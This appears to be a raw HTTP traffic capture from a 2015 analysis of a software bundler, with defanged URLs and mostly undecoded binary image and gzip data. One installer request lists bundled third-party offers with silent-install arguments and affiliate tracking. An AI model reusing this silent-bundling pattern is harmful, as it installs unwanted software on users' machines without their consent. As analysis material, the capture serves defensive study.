?..`....E./E."...9...z7..vz.i....W.(..?)..'.E<.e.......n..t..._N..r
x2..Y4.G..K...'.......&..|.b:_.$.Yr../~....d4.~]...b:..Yz.....{w9.._..
L..b.'.'.8Z.._0..K../...5.?.L..l6.n.~....t.......h9....%Uyo...(...A.E.
.q..(......buO/..t2....y~.t....OA.....0Y.<..x.x9...?w....3....'.|..
..J.F....2;a.....5.._v..l...AG.O..`9..b2...I..n...A......(..9._.O.....
.............E6K.;..4._`.N..a<...A>...o.\[email protected]../.S|.p.
...9.w"..d.].3...'.p.N...yj..63wL3..C.i~.O..2..H1..Q.]f.X.d......|..v.
O.).6.sK..=..x..O..x.......4NO..r..}....lU.D>:~_./...s...^...R).:..
..}....d.]_DG.Z(.O.g'.E|2...'...m?$..K..y7......}..I..A>.......N7.c
.@. d.|.FX...d.e.}....'8....r..)...~..W.Y.......Vq>.GJ..x9..i.m..g.
.s..n.........%.a........?.....O......=~w..f..6.c..n.............*...w
.r...8<..@K./..Y....`/.^.:<....z.L.A..U.........U[..j...........
...............<.{..{M.....8<._.....[?[\.._1.R..{....{7..U......
...y. ...W..[_...[n..........v..n..._......g.%........lv..4.`........y
..Q.g..3.M.zq?.gr#,.....yp..O....2[..1/..)..K.....c...x.p..^._.......z
.8..I.r.-...e.........1n..........LR..E.z..-$Q..../.A'h.i......Y...h. 
..tF.d.8=h...e>h..F.e-......'..q.....3}...<...>..'W.........?
.y...4.wj?.....U.,g3..;.:,..a..qM..h.-.Te3Si.U..~..k).7..o.D.s.....0..
.z ..w.a...).!..y./F.K....d.l.......&.x....|.....k.3..7..<...x.V..Y
G j2...og.....Q?..^.t1.~._.^mn.......8....xS.....:.-....l.........<<< skipped >>>

GET /installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[sourceapp_b2b][exec_args]=/np 1 /is smp1ua &offers[sourceapp_b2b][offer_indexes][slot_number]=2&offers[sourceapp_b2b][offer_indexes][index_in_screen]=1&offers[sourceapp_b2b][offer_indexes][index_in_session]=2&offers[mystartsearch][exec_args]=-silence -ptid=smt &offers[mystartsearch][offer_indexes][slot_number]=3&offers[mystartsearch][offer_indexes][index_in_screen]=1&offers[mystartsearch][offer_indexes][index_in_session]=3&offers[appshat_madness][exec_args]=/S /affid=appshatmadness /bi_sponsored_sub_process /run_bi&offers[appshat_madness][offer_indexes][slot_number]=4&offers[appshat_madness][offer_indexes][index_in_screen]=1&offers[appshat_madness][offer_indexes][index_in_session]=4&uid_orig=dffadf6cea0603499f5ce29578e19940&uid=c6f349e09f7b3c4993073c407a485e5f&tokyo_csrf_key=6c4266d9c815f54e8f88b32bc1f5ba01&tokyo_csrf_timestamp=1423621823&ffInstalled=false&dfz=false&affid=network_marimedia_1&sid=vlcmediaplayervfps&country=UA&hostBrowser=ff&unique_id=f730160cf51d9436dafdc0d7e73723fb HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer:
HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:30:24 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
4c7.............Wko.6.. .> v$?c.. ..a3Z..........H.JRI. .}.J.c..Wgi
..A....}..s..L.`..._..V.0.!....4*R..o*.% ...R..4..7....9.-.-'....F..L.
...^vx..4.J...;..l1....0.......[....~..16........p..L/....;........S..
.4..t...3*.7LCl...0..FiHq.2.cUZHc!.I.r.h.ZA..B.9w...e.T.*\y.'.d.....F.
.3\....~......Uc.!gV.......y..8..Q...iX.cu.......5. .I...!WP../..}:...
._.\...3}.P*.U..?a.....]...vo#.(...to%S........F..B...(......8.bSa1...
.\l....y.k[%..gv....\...t*.VT.......1.yQi....&.F.J.....z..j.....{.#..L
c. ...&....U....2..g..J#....0.zA.~......M.pk.N#......eU$.m..f....k....
(.V...A.Q...J.v..Io{.......$..f9...Oegm..2S..I........F.;d&K/D>..3E
.V.[.3t.>...s."./-Q..s"......(...T.J.%.d.\q.bz...h......C..U...h.6.
.....T/.=.N.1p..8.5.\[.L...N..k8M..-......(.0..... .......( 6.D.....D.
}BD.NG.`wbPcH...rMJB...]..%.T2..h.D|.0>E..;\....PX...k^k.[-.TM....7
(..]o.N.<...V..N......6......].7.L.W.^.....-U.D...R..U....I..,K:.%.
....."...[..Y.........&f..n`.x...u.nb..w....K.Y/..P.[e.....=.e=s..t...
.p.....?..Of).P.........,....J...^.......7.KF..Nw.Y$%...u..".$..I.....
.:..lo....9..;.....7..*.KB.18. .'.k5F.......0..>.......(.KH^..F...O
J.s.:.....qw.7..@>py....../..=E..FA8...k..1..#z..i....u.fE.`..j....
..m..>.Q.0f.4.Fg.h..(.X8...qR..FV....(.I..zC.........LQ&.....0..HTT
P/1.1 200 OK..Server: nginx..Date: Wed, 11 Feb 2015 02:30:24 GMT..Cont
ent-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Vary: 
Accept-Encoding..Content-Encoding: gzip..4c7.............Wko.6.. .>
 v$?c.. ..a3Z..........H.JRI. .}.J.c..Wgi..A....}..s..L.`..._..V.0<<< skipped >>>

GET /css/style.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:38 GMT

Content-Type: text/css

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Wed, 11 Feb 2015 03:01:38 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
53f.............X.n.8.=._..1....%.8../s.o.(..9.D..;I.....&jq...4.R.X.{
....$.Z......f.o3JxUN.7w3....x....V...g.x%..UF..R.c]$G%............^..
...b...qvUQU.:Y......K.}/k.......|..1.....n.-S|.8#......l......../..B&
gt;'...#.]../.:!.w.7/......g^.C....3...J...|.e.b...=....2...._...wp...
7....j....I.ee.a.L..{3Y7/....d^....Z.........f6.L..jv.....ql.mA-...Dau
......x.^...........8......:.l..u]1x..7`Z....5.5.`...?.n...-..d.)..)F.
...z..n......"3.Bh...E.r....Nl.W..R%...k..I.... 49`...{ue>.'....L..
...........c.*iN.......?....L.B..%... ...1.b...._....S`.9..S.....B....
.2y.....`.....Zugx.:O)}........C.?]....%......(4...d...... ..0./.!.S..
%.%...d...f.b.J.i..-.][email protected]>0"..(
....L./...4[..;n.x..=.(..A...P.T..AD.X .\x......D.Gq6&p)x.b._...7..D..
.''....C..jA,.......Q..7.. #..3.{...1..p..:..Y....P...0g ..&.......k{.
E....JV.......=..y:[email protected].. `.[.\t"..g8...b*X..aZ...\...'.<Z
/........a..0.v.n..4|.......G.S. D..g7..;.....m./.U..j}`..~....yP...#"
....3;T%.g.1....Y^B.....J.........|..:.s.5.l...C....M.W..fk.......c...
.K..a..}."......n...#....._.iV....u.-d..f...:=..|..T..Nr...E.P6.hK{7..
.r...#=.P..T.6.t...S....x......Oaq........#..:9....5Xa.q{..I!........8
.Z)..BQ.x..?6..{^.<Q...|[email protected].}w...e..!..........(....3..P
..6...M.t..t.Z8%....9.....5...o.H.....P.......c..p..CTu..~..[..PP.....
...... ....la..5 bv.@......|.......0......
<<< skipped >>>

GET /js/scripts.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:38 GMT

Content-Type: application/x-javascript

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Wed, 11 Feb 2015 03:01:38 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
1ff.............T.n.0... ...S.!%-b..zp..P.h..g..V....H.9....zDJ.....`.
..vvv..|....52.)..[.w._5.......JW...2.W.*..j.. X.....~} *.>?[]|....
Q..&s.[.....tA.7..D...n.Z!s.^....c|.8..l/..J..w..L).XU'.FLvV.0...w...(
.........s.........S_2....w.V{....|.|.3.".f"....X....v)Gq.g..kG..z6...
.B...E..G.B...........4.k=.h0...4..kJ;.. ........u@.(...M.{ 2:..sa....
...CBx.......:..>k.....T..d1..........'.d.......9.n."...c:quU.tP...
F.:.g.-Z...q{...z....W.Nw...O..4.....x.;y}K...$E.E...T...X..%.Y...-...
....)C=...x......>:....G.&.|......0......


GET /js/lightbox.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:38 GMT

Content-Type: application/x-javascript

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Wed, 11 Feb 2015 03:01:38 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
bde.............Zyo.......SUXJ..JR..:....t..q..X.A.P.H..".<|..w....
K...N`.3..y...h...4^o.ev....O...7.4........A....,w.........H..a...^g9.
f9gq...mP.Y:g.q...#...Z...7..."Q../F`$.i.#[email protected].....(.<^V
D..].`,....o..g..D..b..Y.h1:b..s.~YU..l.....y..A..4b...a.W.-...~......
,..e..YP...L.-...$N/.........~.AX..0:...E.....,.?ve.N ...$.....%....U.
.f.fJ./.m.q..(.o.mP..U.)..8...J2.*fb.q..b....M..4..xY. ."/.....|]-yz..
i..7>mF...fZ....';.[..p>.z..$(yQ....HP..Z..z....F..2.,[.0...e1z.
.1.x..#.H).v....e^.e..-N...xJX....$.......B].7.`M.E.oNd.8..]l. ='6....
.../9.&t"..'Y....z...V..MI.o..2..H.Gq...PK^..'...F..!{.R~.=.....v..f.j
.#.e..R.r:c..1v.c...*...>.a.....{........:V,aL.i.VtiI.....'....R.6o
..y-H......{*.:@'IV..rAB..w......a..r.j.....u.A.N?iL'..'..X<.k.b...
...JM.....yY.iS.B.....&.....#.gh.b.C=.X..e...O.k.a..0,..7p..Xr......L.
.%bjcZ.|a.........%3.J..h.h.".[4..T..9$$.n".._.......:...[f..7...^..z.
...|.....6..pt...A,4..s.rg../<.t2.k..<..5/gJb........[-......ow.
.. MP.5$0..........z..3O..].<.n<..v.. ....#..sH...... 8.Q..8L...
...QV..q..B....s7t.]7..1 ........`....V......&...H.ui. ..`..e.$....4..
P..yx,=..1-.n.h..A.#|......^*.....[..t......M.:..V..{R..$"..).?gB.m.lc
n..g.....3.|.c......Nf.o.YN..x..%.2.."_q2!..gy. .......p...}...^.y3...
.Q...p?.aN....=..a.....m.kR(N.=U#....=..Q;r........Y..y..X.!...;..m..!
..7.....6.....%...j.]!.....)V..~.. _.sTo.9..p.._r....d*!...2.F.!.$<
.4....OP..Y...~.8.....(.6....2N......=".......|.U....o........#.[..i.J
.........&....S(.M.......$o.ia.$}.C.}v8..s...U....Ca.^....l...7.. <<< skipped >>>

GET /thumbnails/banner/images/assets/9/c/9c161c623a389f1b32f42adac2cb466b.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:38 GMT

Content-Type: image/jpeg

Content-Length: 35562

Last-Modified: Thu, 13 Jun 2013 17:15:42 GMT

Connection: keep-alive

ETag: "51b9fe3e-8aea"

Expires: Wed, 11 Feb 2015 03:01:38 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......JFIF.............`Exif..II*.......1.......&...i...............Pi
casa............0220..................................................
......................................................................
......................................................................
.........................Q.....................!...1.A.."Qaq..2....#B.
..3Rr.b....$....CSs..%c...Dt..&ETUe.................................G.
.......................2.."#B...3R!1ACQScs.....T.......4Dab...qr...$..
..........?.....0F.....-..Z...f.'.<.M....'.t...wDj5;HT.... .;/.YM..
$..=..h .....n......`f@G.......?%.....L....4....I....D...n...KQut.E..O
QYCx,...u78!.....=z2..F.UM.N.."v~...D[....n....".tJ..Z-..#.:.}....*...
.V.y..jes(.y.s..*.S'....WSL...57..f|.....'...\Q..f...1Ujz..@].SV.@X...
..........K V..JU.v...=*....Q..:..:.......8.S.?......?.Y....V...G)iL..
.Lw........"..K.7..1..h....2...`.L......e...ur1=1..|?......d.l.....*.I
U..VN.DH.*..nV..5iU.e..K.-.......U*......w....Z..\...]...A..b.N/.j:.R.
...VY...>....J.-....0......TZ.b.m5*.O..!. ...:.Kr.37~6...GA .. \...
2.i...{.o..~......Q.B......$......|R..j.,............>....A.N.OT...
./i.]3..*[email protected].....#R.b...\Z.....n.`......|.zj.........t
........~.Z...'.Q2A.1...."... .<.}E....OZ.....;.}y`5.2O...........M
?..............nW.....}...T..i.5G....r...& E.%E$...eK .1.[).p.EY..@eRI
'....^t.]=.......-%.G.Db.i0.....Ij.V..c...V0....9..z.mT.]]]m...-7....[
....RS.g.}....Z.jt.)..\.......&5.p\[email protected].($...=..
...J..:.OH0z.PbKS.....i...6.m....).:.c..x..lL..t..tw;P.....v^..h.H<<< skipped >>>

GET /thumbnails/banner/images/assets/1/3/13a052a6d8c62b7831aa10e2f6f37454.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:39 GMT

Content-Type: image/jpeg

Content-Length: 14828

Last-Modified: Sun, 28 Jul 2013 10:29:05 GMT

Connection: keep-alive

ETag: "51f4f271-39ec"

Expires: Wed, 11 Feb 2015 03:01:39 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......JFIF............................................................
......................................................................
..................../.u..".........................................._.
..........................!..1A."Qa..#2q...B....$3RSTUbrs....&456ctu..
.......Þ...Cde.....................................4................
......!..1AQa.."q....#B..23R...br.............?...)J.)J.)J.)J.)J.)J.)J
.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)T..iJP)JP)J
P)J.j......AZR..R..R..R..R..R..R..R..R..R..R..R..R..R..R..R..R..R.M...
u.:..~....[).....R.2C.H..%e..b...Eq...3.l......v......Y.[.W.&e....~X).
5...-.........Q.W;.;..L.....g.c3.n..Ls[. ....'f..iq...[Ga.>.-1m..=a
.:..{p7.....j.u..[w;...L........Q.|.......a.u..'.v].........1]m..7Ab.P
>qU.......@<.........Rut.]..7...Y..h.....2...........O...Ht.I...
.2E>6.}..Vr.4\DJ.....0(..2.vq..r.4t.3..3X....4\6.....:..s"...`.,..p
T..fVD..Y.$...u....x.......'.v.A.K.......%s.=k).5..Z...ty.K....z=...f.
.m.h.X............wr..j....xv[...%..&...;c",.....h.....H...}R.*..(A ..
{..u.V..-:..viG9....1..LRM....pL...U...3..M..R#W..N>..... ..-j....k
..<v......ed.)Ni..,..<6.Y..a.a..ot.p.E.........n..dl..bg.H.....1
...T.._*.:'...|.t...7s.)R.)JP)J.....=...U........r<v:.>.........
..~]...=../....M..P?....9.qqn...p.]..-.2.0.i.M..e..e/2..KF.m`U.$GS..7V
GR:2..`.4._.........sj...n!.i#1I.I.x.".<n..T.e|.poR^.;..Z...9m.r...
c%.V.........X.s.#.6.|Y..2.5.,bw......3m9..Y...m`..cF..ZhcxT.0.1...t-~
..c..h..U........*.J.>.Z...9...F.v..p%...b..8.....G.......5....<<< skipped >>>

GET /thumbnails/banner/images/assets/1/f/1f8ffa22b53dfc2f6b7f1850bb6b73e8.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:39 GMT

Content-Type: image/png

Content-Length: 173932

Last-Modified: Thu, 13 Jun 2013 17:00:48 GMT

Connection: keep-alive

ETag: "51b9fac0-2a76c"

Expires: Wed, 11 Feb 2015 03:01:39 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR.............X.h.....sBIT.....O... .IDATx...w..G.8.^U.
...9h....%Y.ec..9c.1`...8L<8...w...3..q&...q..c.c.. ..........6....
.....LOOO.J ~..i>.....W..zU...0...{.N... .f........\.!S...9K.[..4_.
... ..D$N.O..}....'.\.QQSU..\Y..$.R....9.......@B........ .......a..zh
.._&.#..$.$_..[....W0.IB..........S...[..A..B0....B..........}.S.e.}..
....}..8...\c.D2...\[email protected]`*99.y....#1.lHa..k:.
........'..)....`n.e 2.f....S...........P..G?.zi.(..I........a.S...B..
<.....cID...a ......._.'.c....!g..=.R.....i.J....:[email protected]
5.Y[gG}....J...i..\p......y8....(.Qg.H...3x.....OD..x,..Ec.h$.....h\I.
..).....$......D,...D(.@%. ."..f..e...t9.^...r..^...qI.D........T....R
.."I..lvrz....h...P;.8.........pa...B...4strL.L.".us.i...0...}F.B.....
.......\... D.#...?Uf..M.9.......Y.e.6.F...K..D..U..;wr..-RM..M..P'...
..=...'..._|........315.,..nH..6...s.....A^.y.%.\.:._J.R.Lb6...9Y....&
lt;...Y.9......*.....  ..U&N.U.....^.R..dQmC....TUcL.9...!.a.J)..T5...
..........@4.@!.v{..].......|^...r.....!..$I._I.V...7..jBpMc..TU....h4
............?..D...!...........}^..f...g...T.4.Pb...X|lp....=.... ..7.
.......A._0k~.......B7..9>M.......uV........sl....kc.X.......U...,.
uS..QR..B9A."M...........o..?....*/D.S).D......., .Hyz.|X.9A .yI.t...0
?..{...e`2...$j.....Tb...b.9.)....v..X.$....8;...}.h.`[email protected]
..T..H(%...F..f.F.......ER[QVW[UW_S^^RT\T\T$I.....s..O .iVla...S=.`..)
A"@0...P.....................,.....,..ym.....0...!.M........u..G.Vy.]f
o[.2..Ad..l...p..6'fj..a..L.3..T...:.....2..k/.o....Y..p.7,..&Rczd<<< skipped >>>

GET /images/5.0stars.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:39 GMT

Content-Type: image/jpeg

Content-Length: 2286

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-8ee"

Expires: Wed, 11 Feb 2015 03:01:39 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="
hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.a
dobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:E712C81ACD1411E29568FF5E7
C4F2C36" xmpMM:InstanceID="xmp.iid:E712C819CD1411E29568FF5E7C4F2C36" x
mp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:D2ECCA94C82C11E2B97E98D68EE09333" stRef:d
ocumentID="xmp.did:D2ECCA95C82C11E2B97E98D68EE09333"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
......................9...............................................
.....................................!..."..12BA&Qq.b3c...............
......!...1A..a2....Q"B%q.R.#.b.$..............?....3s....b.v..Q@...\g
.F^.v.G.`$.*.yAiX.........?o.%<........OST.n.m...:?.Q.W2EF*"".....F
./.....w.tl.!..=..I-J.U^J.R.Y...y.j.B.}Z"_S..0.~..xT.f.Q..W"x.:...X>
;.O/../.%zO.......f.~x*.O..D.$X....w..ZJ..o)'.Kq.|.E..Qr.T2bPu..1..x?N
j...!59.yK...B"[email protected].$.u..dI&..Vg..2.$..&'..X..\<.....h....<<< skipped >>>

GET /thumbnails/icon/images/assets/f/4/f4e4b853ddab3b763f0af17d513631bd.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826



.....^.,[email protected].*......Gqn.....B\....<z..<.H.NdHBc..
....k........'..g..`#(S.......{.C.~")7VHv.G._..'..N..5.{.\.....WN#T(.k
..n..J........f..)F..*ff...q...1..m .oavq/[email protected]#rX..
..D@&'.....".....4.........]..$........R.{.......0.....a..1W.: .......
..a.B.....Y....XC.1$...s.>X..%pm.....E..A.C..)_....eQ..(jM|..f;..6.
5tq.?|....R..f.g..G.dX.L.......e.{.B..2.2.Y.#C;.88l.....-...a...%..0..
.8.w@4 ...l..C. .MN...*..N....v'....O]#.Zk...sZ%O.4b...oR....0...]...y
...Mm.v..M....-o....`....7..^9C>WP$.3.. .s..|q/.....(}.Ha.r.......^
..}..:...,..............5o$..C.s..q.........1..!>. 3..O...7.....E..
I..l..kv.RO.0....}.Y.9z.>.zF)W...%....E.....'.9..?t.4.....K.._<.
...v....r....S......g2.^f..[.F....V..}...x.p.....G.....6.....'..._-..F
..q...l..Q.|@^.F>....d..... .l8$....3...}.gE.........E....S........
.t|..K...tS..wA.Z...t?i......%....f....^.....v...-"..........?..#.... 
....p...l,.l.Ih.4.....tU.ueD 6h......n.a......l_M=[>p.......4....6.
....7...A....E.}....l..z..,..%f...}.O.....u'I,..F.f..h6h|.I..iR...|. .
.N.].6...gF..L.V..o.d......g.....|?W\....>.....4P...\.......).6n:..
B...N:..&f....P}...N..J...."e...] ..8y.i.a~7....P.........~Q_......o..
8Ag.!e6.>.8.w....y...rF=.MWD,..x.0tu.......B.y.`.C.....s.%...T"...x
Y.O$..:...X..az}[email protected]^..Z...$4S.....A.6y...5.........=...X
.l.6t4.:.#...$W.A..?A.'............*.W.A.8...Z.5....f...1w_E..[.].0.7.
.._..........E.~.....gi...hf.\..........d..C5G..h..o:.=H.......H..l...
r.A...glq.h...~s.....8. . '.......27..U.1..p..k*4..i.1K..s..>..<<< skipped >>>

GET /thumbnails/icon/images/assets/e/5/e54e8c720dffffa619c3b0eacec9381a.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:39 GMT

Content-Type: image/png

Content-Length: 53266

Last-Modified: Thu, 13 Jun 2013 17:53:06 GMT

Connection: keep-alive

ETag: "51ba0702-d012"

Expires: Wed, 11 Feb 2015 03:01:39 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......sBIT....|.d.....pHYs...........~.
....tEXtSoftware.Adobe Fireworks CS5q..6....tEXtCreation Time.3/8/12bk
.... .IDATx...y.\.u/.jw.9G....c. C...;.  .&..2z..H.\..$..y....../..O|.
..I.5J.3v0F.....{.D0...f.1...61H.q.....{....=..VU..N.....].j....k..k.)
%0....../D.V..`0..F......`0.c.v.......C...`0..........`0....0....1.`..
.`0..1.;.....`.!..`0...c......`0.c.v.......C...`0..........`0....0....
1.`...`0..1.;.....`.!..`0...c......`0.c.v.......C...`0..........`0....
0....1.`...`0..1.;.....`.!..`0...c......`0.c.v.......C...`0..........`
0....0....1.`...`0..1.;.....`.!..`0...c......`0.c.v.......C...`0......
..B.S..C...g...?..g.....G..5\..B .,.....m.Jb[....- N.....a0..R}.r..1..
.w...g..".....S.....T.NF&n.f.%D.................0... .......T...'.w.).
i .e.R._a......g<eT..c9..x...(............%*.`xA.R.<...$jW......
.ih&.vaan../.LV..[...>.......M.X'.z...,.8b..e.W......8...J..`..S..Q
.......J..Ie..}z...G........D..t?..h.T....L..0..k...:p..1t.]y.....t...
...x.......y|y..../........%X9N.}.b2r..8..o..f0.....(a...H..j.R={.....
.K.....O9...W...a..16u..G..h.5.......#R...0....0... .:_.8^.......<t
x.go~.v...a7..5.9c-......R.J.B.>..b..:g./..8~....K..`..S...A.......
Ag.?......LW..g7..T"5..CxM....~.^ ..&....~cF...{[email protected]
$.N.....Qi].3q.f.s...q..H..N...Mcl.......~.....9.......S..fZ....!.....
0... .:A.x.H.....w7......'[email protected]
OF.....`.5...".j.r..........w-.S2*.0G....Q.i..R.2.._........P..=..."..
d....`..S_<...p.....\.5?...g.w....3.y.E~^)..q&.`..h.M>..~..B<<< skipped >>>

GET /thumbnails/icon/images/assets/2/3/23428f8768d928d2bd45dd3b0c4d0057.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826



......f..o^......$....;{n........?.g^.....g$...M...:..N.i..he-...l].F.
..w......g..c)...c..&3.....Z..).*..NV/^._>...d.,W...Q....d;.t_{..K.
Y..^..j.P..r.-i>.......'.#K.W...#...r...A...JC.....<......_.T...
.....L]B1./`(..s...`9V...,x........D../..L....s d8......Z.R..3....L...
f.2,..V.=....\Jr...-OWO>?....?.,...~....7..$.....O...]..k.<.....
.Y}y.]Q.%....W..K0.Z...irHb...5.y........N..e..p..*H`...Ej......b.....
...T..VO..-E....Y...?v3....w...f......Ct.;n.....4..c......O-...4)1..u.
.........1...`.O.iY9.<.DXx.fY....T.O.\z..c. ]W.Dq.TU_VM..m....L^...
..uV.........O....P.U...^...3.AH............ny...\[)...J...3.4....4.Xe
].....u]......G..!...LF7....8.. .. @..[.:/.<[...}...y........v.I.7.
^/..#...<M..... ..$......z'......jE....G.4...A..F.r.....*x^a...(o..
.k....r.?vSx_.....w.^[.||.....|....2...[...d.....Z.._.m...C^B.........
.[.[...''u..Q$a...%....R<B..X..2..*......7v........E.{W.3..0..?1._9
.t..Rf..q6.r./.D%..g =E.1.B.Q.......=#'.I...$.Tk.....1.P........I.. ..
....kB......y k........zG....R..]H..z...m....`.....v..h.7I.X...a.....,
..Z..T......'.8~~,.....w>.......g...........'.........g.O..=y..I...
x|.D...0...HG.RK.F...&7.]o$=9..]....T...>UA.....jB..$...f.B.....wc.
....R[...........>...F(.{J.!.-.mU....6.;..Jca..E%QPbc<....V.....
